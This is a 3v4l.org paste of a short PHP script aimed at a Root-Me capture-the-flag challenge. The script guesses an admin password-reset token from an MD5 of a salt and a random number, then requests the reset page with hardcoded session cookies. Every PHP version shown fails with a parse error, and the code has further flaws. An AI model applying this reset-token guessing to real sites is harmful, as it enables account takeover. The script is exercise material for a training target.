3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ok = 1; //while($ok==1){ $salt = microtime(); $generated_token = MD5('$salt' . rand(1, 100)); $url = "http://challenge01.root-me.org//realiste/ch14/?p=forgot_dev&username=admin&token=".$generated_token; echo $url; $ch = 'curl'; // configuration de l'URL et d'autres options curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Connection: keep-alive', 'Accept-Encoding: gzip,deflate,sdch', 'Cookie: PHPSESSID=9povrv2ujga3a90gde97mnh086; spip_session=3959_88b7a314b6d320abc758d2aa6adc5321', 'Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4', 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36' )); $chaine=curl_exec($ch); echo $chaine; /*if (strpos($chaine,"Votre mot de passe est") !== false) { echo $chaine; $ok = 2; }*/ curl_close($ch); // fermeture de la session curl //} >
Output for 8.0.0 - 8.0.3
Parse error: syntax error, unexpected token ">", expecting end of file in /in/OZuII on line 35
Process exited with code 255.
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.27, 7.4.0 - 7.4.16
Parse error: syntax error, unexpected '>', expecting end of file in /in/OZuII on line 35
Process exited with code 255.
Output for 4.4.2 - 4.4.9, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40
Parse error: syntax error, unexpected '>' in /in/OZuII on line 35
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1, 5.0.0 - 5.0.5
Parse error: parse error, unexpected '>' in /in/OZuII on line 35
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error in /in/OZuII on line 35
Process exited with code 255.

preferences:
361.1 ms | 1395 KiB | 368 Q